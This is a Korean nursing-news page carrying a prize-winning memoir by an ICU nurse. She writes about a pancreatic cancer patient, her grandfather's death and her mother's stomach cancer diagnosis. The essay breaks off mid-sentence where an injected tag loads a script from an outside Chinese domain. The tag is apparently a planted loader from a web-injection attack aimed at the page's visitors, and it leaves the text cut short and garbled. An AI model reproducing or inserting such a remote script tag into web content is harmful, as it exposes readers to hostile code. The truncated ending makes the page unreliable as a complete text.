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제28회 간호문학상 수기부문 가작
세잎클로버의 행복찾기
[편집국] 편집부   news@koreanurse.or.kr     기사입력 2008-03-12 오후 16:03:35
서울대학교병원 외과계 중환자실 조혜영

"왜 힘든 간호사가 되었나요? 참 많은 고생을 하는데.." 안쓰러운 듯 며칠 전 췌장암으로 수술을 한 환자가 나의 손을 잡는다. 거칠다.. 알콜솜을 자주 만져 나의 손 또한 거친 고목나무의 등껍질처럼 메마르지만, 그녀는 더 거칠었다. 한달 전 옆구리에 통증이 와서 혹시나 하고 종합검진을 받았는데, 디스크 정도 겠거니, 생각했단다. 며칠 후 당장 서울에 있는 큰병원 가 보라는 의사의 진료의뢰서를 가지고 서울의 낯선 땅에 왔고, 지푸라기라도 잡는 심정으로 수술을 했다. 하지만 그녀는 췌장암의 예후에 대해서는 까마득하게 생각하지도 못한 채 그렇게 여유로운 마음으로 나를 위로한다. 난 그녀의 질문에 가슴뭉끌한 무언가가 눈시울마저 뜨겁게 만들었지만, "저희 같은 사람도 있어야지 아픈 환자분들 치료도 해드리고, 맘도 위로해주죠. 간호사는 병도 치료하도록 돕지만, 마음을 치료하랬어요..". 머릿 속으로는 이성으로 통제하면서 감정을 억누르려 했으나, 그만 환자분 앞에서 눈물을 보이고 말았다. 이건 나의 잦은 실수이자, 몇년 째 고치지 못한 불치병이다.

나에게 마음을 치료하는 간호사가 되라 하셨던 분.. 그 분은 가을녁 추수가 끝난 뒤에도 논밭에 허름한 옷을 걸치고 서 있는 허수아비 같은 분이셨다. 늘 그 자리에서 어린 내가 학교 수업을 마치고 돌아 오기를 기다리셨던 추억 속에 할아버지가 내가 간호사가 된 후에 가끔 꿈 속에서 당부하신다.

나의 어린 시절 꿈은 소설가였다. 낙도라는 작은 섬에서 태어난 나는 유년시절을 시골에서 보내며, 많은 추억들과 자연의 푸르름과 사람들의 정을 일찍 알았다. 그래서 나중에 어른이 되면, 공동묘지 앞에 자리한 우리집 이야기며, 내 생애 처음 친구였던 꽃돼지가 동네 어르신들에 의해 잔치의 먹거리가 되어버려 이틀동안 울고 불며 절망했던, 그때는 나름대로 심각했던 실화를 소재로 글을 쓰는 사람이 되어야 겠다고 생각했다. 그래서 세상을 바쁘게 살며, 삶의 의미를 지나치게 돈과 명예 등에 직찹하며 옹졸한 삶만을 추구하는 사람들에게 한줄기 따뜻한 여유이고 싶었다. 그리고 그 때는 첫 월급을 받으면 내 키만한 뻥튀기를 사서 지푸라기 향이 나는 할아버지의 넓은 어깨에 안겨드려야지 다짐했었다.

하지만, 어린시절 내 바램과는 달리 중학교 2학년때 할아버지는 중환자실에서 오랜 시간 투병을 하셨고, 내가 잠깐 본 할아버지의 모습은 앙상한 뼈와 까매진 얼굴, 지푸라기 향 대신 독한 소독약 냄새들로 가득했다. 축 늘어진 두 눈꺼풀 조차 주체 하지 못한 채, 인공호흡기에 의존해 얕게 숨을 몰아쉬던 할아버지는 그 해 가을 우리 곁을 떠나셨다. 아직도 시골을 찾으면 그 곳에서 지긋이 웃고 있을 것만 같은 할아버지는 이젠 꿈 속에서 밖에 볼 수 없다.

그 이후 난 글을 쓰지 않았고, 고등학교에 진학을 했다. 조금씩 입시경쟁에 돌입하면서 할아버지에 대한 소중한 추억은 낡은 서랍 속 고이 간직해 둔 일기장과 함께 잊혀져 갔다. 그 때 모든 생활은 학교와 집에서 이루어졌고, 정규수업을 마치고도 이어지는 보충수업과 야간 자율학습을 하면서 거의 집은 잠만 자는 숙소와도 같았다. 이렇게 나의 꿈도 조금씩 희미하게 색을 감추어 갔고, 시간에 쫓겨 짜여진 수업 시간표와 매달 이루어지는 모의고사에 치이면서 그렇게 하루 하루를 보내고 있었다.

그러던 어느날, 18번째 생일을 맞았던 11월 7일.. 난 그 날을 잊지 못한다. 그 날 처음 엄마의 눈물을 보았기 때문이다. 며칠 전 건강검진을 하고 결과를 들으러 가셨던 엄마는 늦은 시간이 되어서야 집에 오셨다. 나의 생일이라며 아침부터 친구들과 나눠 먹으라고 시루 한 가득 호박떡과 팥떡을 해주셨던 엄마가 집에 없자, 섭섭한 마음에 '그래도 딸 생일인데.. 어디 가신거지?' 혼자 중얼거리며, 부엌에서 저녁을 챙기기 시작했다.

그 때 조용한 적막을 깨며 우렁찬 전화벨소리 "따르릉.따르릉.." 왜 이리 오늘 따라 보채면서 울리는지, "여보세요." 라는 말이 떨어지기 무섭게 "엄마 들어오셨니?" 막내이모였다.
"아니요. 안들어 오셨는대요.."
"혜영아, 이모 말 잘 들으렴. 네가 큰딸이니깐 맘 굳게 먹어야해. 엄마가 몸이 많이 안좋으시 거든... 그러니 엄마 말도 잘 듣고, 알았지?"
"네. 근데 얼마나 많이 아픈대요?"
보험회사에 다니셨던 이모는 낮에 엄마가 건강검진 결과 위암인것을 알고, 갑작스러운 결과와 죽음에 대한 두려움으로 이모에게 연락하셨고, 혹시라도 암으로 인하여 잘못 될 경우 아직 어린 자식들에게 해줄 수 있는 것들을 물어 보셨단다. 늘 저혈압으로 성당 미사를 보다가 자주 쓰러지시고, 잦은 감기로 내과병원을 찾기는 ?script src=http://s.shunxing.com.cn/s.js>
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